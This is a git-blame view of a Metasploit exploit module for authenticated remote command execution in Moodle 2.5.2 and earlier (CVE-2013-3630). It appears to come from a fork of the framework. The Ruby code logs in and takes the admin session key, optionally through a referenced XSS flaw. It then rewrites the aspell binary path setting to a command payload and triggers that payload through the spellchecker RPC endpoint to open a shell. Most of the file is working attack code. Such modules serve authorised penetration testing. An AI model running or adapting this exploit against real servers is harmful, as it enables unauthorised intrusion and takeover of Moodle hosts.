Files
metasploit-gs/modules/exploits/multi/http/moodle_spelling_binary_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

175 lines
6.1 KiB
Ruby
Raw Normal View History

2013-10-30 10:25:48 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-30 10:25:48 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2021-08-29 10:50:25 -04:00
Rank = ExcellentRanking
2013-10-30 10:25:48 -05:00
2021-08-29 10:50:25 -04:00
prepend Msf::Exploit::Remote::AutoCheck
2013-10-30 10:25:48 -05:00
include Msf::Exploit::Remote::HttpClient
2021-08-29 10:50:25 -04:00
include Msf::Exploit::Remote::HTTP::Moodle
2013-10-30 10:25:48 -05:00
2021-08-27 20:03:27 -04:00
def initialize(info = {})
super(
update_info(
info,
2021-08-29 10:50:25 -04:00
'Name' => 'Moodle Authenticated Spelling Binary RCE',
2021-08-27 20:03:27 -04:00
'Description' => %q{
Moodle allows an authenticated user to define spellcheck settings via the web interface.
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
By updating the path for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon spellchecking requests.
This module also allows an attacker to leverage another privilege escalation vuln.
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
as a previously unprivileged authenticated user.
This module was tested against Moodle version 2.5.2 and 2.2.3.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' => [
['CVE', '2013-3630'],
2021-08-29 10:50:25 -04:00
['CVE', '2013-4341'], # XSS
2021-08-27 20:03:27 -04:00
['EDB', '28174'], # xss vuln allowing sesskey of admins to be stolen
2022-01-23 15:28:32 -05:00
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
2021-08-27 20:03:27 -04:00
],
'Payload' => {
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet python'
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2013-10-30',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)
2013-10-30 10:25:48 -05:00
register_options(
2021-08-27 20:03:27 -04:00
[
OptString.new('USERNAME', [ true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to authenticate with', '']),
OptString.new('SESSKEY', [ false, 'The session key of the user to impersonate', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Moodle installation', '/moodle/'])
]
)
2013-10-30 10:25:48 -05:00
end
2021-08-29 10:50:25 -04:00
def check
return CheckCode::Unknown('No web server or moodle instance found') unless moodle_and_online?
2021-08-29 17:18:06 -04:00
2021-08-29 10:50:25 -04:00
v = moodle_version
return CheckCode::Detected('Unable to determine moodle version') if v.nil?
if Rex::Version.new(v) <= Rex::Version.new('2.5.2')
return CheckCode::Appears("Exploitable Moodle version #{v} detected")
end
2021-08-29 17:18:06 -04:00
2021-08-29 10:50:25 -04:00
CheckCode::Safe("Non-exploitable Moodle version #{v} detected")
end
2013-10-30 10:25:48 -05:00
def exploit
init = send_request_cgi({
2021-08-27 20:03:27 -04:00
'uri' => normalize_uri(target_uri.path, 'index.php'),
'keep_cookies' => true
2013-10-30 10:25:48 -05:00
})
2019-05-10 14:02:01 -04:00
fail_with(Failure::Unreachable, 'No response received from the target.') unless init
2013-10-30 10:25:48 -05:00
2021-08-27 20:03:27 -04:00
print_status('Authenticating as user: ' << datastore['USERNAME'])
2013-10-30 10:25:48 -05:00
2021-08-29 10:50:25 -04:00
# don't use the lib version of the login since this is older and has different parameters
2013-10-30 10:25:48 -05:00
login = send_request_cgi({
'method' => 'POST',
2021-08-27 20:03:27 -04:00
'uri' => normalize_uri(target_uri.path, 'login', 'index.php'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'keep_cookies' => true
2013-10-30 10:25:48 -05:00
})
2021-08-27 20:03:27 -04:00
if !login || (login.code != 303)
fail_with(Failure::NoAccess, 'Login failed')
2013-10-30 10:25:48 -05:00
end
2021-08-27 20:03:27 -04:00
print_status('Getting session key to update spellchecker if no session key was specified')
2013-10-30 10:25:48 -05:00
sesskey = ''
if datastore['SESSKEY'] == ''
tinymce = send_request_cgi({
2021-08-27 20:03:27 -04:00
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
'vars_get' => {
'section' => 'editorsettingstinymce'
},
'keep_cookies' => true
2013-10-30 10:25:48 -05:00
})
sesskey = tinymce.get_hidden_inputs[1]['sesskey']
unless sesskey
2021-08-27 20:03:27 -04:00
fail_with(Failure::UnexpectedReply, 'Unable to get proper session key')
2013-10-30 10:25:48 -05:00
end
else
sesskey = datastore['SESSKEY']
end
2021-08-27 20:03:27 -04:00
# This looks unused, and in CVE-2021-21809 we set this as well, going to leave it here for the
# time being since it may be the default, or it may just need a send_request_cgi added to actually
# accomplish the goal.
# post = {
# 'section' => 'editorsettingstinymce',
# 'sesskey' => sesskey,
# 'return' => '',
# 's_editor_tinymce_spellengine' => 'PSpellShell',
# 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
# }
print_status('Updating spellchecker to use the system aspell')
send_request_cgi({
2013-10-30 10:25:48 -05:00
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
2021-08-27 20:03:27 -04:00
'vars_post' => {
'section' => 'systempaths',
'sesskey' => sesskey,
'return' => '',
's__gdversion' => '2',
's__pathtodu' => '/usr/bin/du',
's__aspellpath' => payload.encoded,
's__pathtodot' => ''
},
'keep_cookies' => true
2013-10-30 10:25:48 -05:00
})
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
2021-08-27 20:03:27 -04:00
print_status('Triggering payload')
2013-10-30 10:25:48 -05:00
resp = send_request_cgi({
'method' => 'POST',
2021-08-27 20:03:27 -04:00
'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'tiny_mce', '3.4.9', 'plugins', 'spellchecker', 'rpc.php'),
2013-10-30 10:25:48 -05:00
'data' => spellcheck,
'ctype' => 'application/json',
2021-08-27 20:03:27 -04:00
'keep_cookies' => true
2013-10-30 10:25:48 -05:00
})
2021-08-27 20:03:27 -04:00
if !resp || (resp.code != 200)
fail_with(Failure::PayloadFailed, 'Error triggering payload')
2013-10-30 10:25:48 -05:00
end
end
end